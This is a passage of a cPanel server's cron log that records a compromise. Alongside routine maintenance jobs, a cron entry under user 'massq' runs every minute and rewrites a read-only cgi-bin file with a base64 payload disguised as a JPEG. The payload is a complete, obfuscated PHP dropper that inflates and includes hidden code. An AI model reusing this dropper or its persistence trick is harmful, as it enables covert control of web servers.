"$fp")
Sep  6 12:49:01 server CROND[28863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:49:01 server CROND[28865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:49:01 server CROND[28864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:50:01 server CROND[29246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:50:01 server CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:50:01 server CROND[29253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:50:01 server CROND[29256]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:50:01 server CROND[29258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:50:01 server CROND[29265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:50:01 server CROND[29263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:50:01 server CROND[29267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:50:01 server CROND[29264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:51:01 server CROND[30084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:51:01 server CROND[30083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:51:01 server CROND[30085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:52:01 server CROND[30472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:52:01 server CROND[30473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:52:01 server CROND[30474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:53:01 server CROND[30962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:53:01 server CROND[30963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:53:01 server CROND[30964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:54:01 server CROND[31353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:54:01 server CROND[31355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:54:01 server CROND[31354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:55:01 server CROND[31757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:55:01 server CROND[31759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:55:01 server CROND[31762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:55:01 server CROND[31763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:55:01 server CROND[31764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:55:01 server CROND[31766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:55:01 server CROND[31765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:56:01 server CROND[32597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:56:01 server CROND[32598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:56:01 server CROND[32599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:57:01 server CROND[558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:57:01 server CROND[559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:57:01 server CROND[560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:57:01 server CROND[561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:58:01 server CROND[1097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:58:01 server CROND[1098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:58:01 server CROND[1099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:59:01 server CROND[1556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:59:01 server CROND[1557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:59:01 server CROND[1555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:00:01 server CROND[1963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:00:01 server CROND[1965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:00:01 server CROND[1968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:00:01 server CROND[1975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:00:01 server CROND[1973]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:00:01 server CROND[1995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:00:01 server CROND[1994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
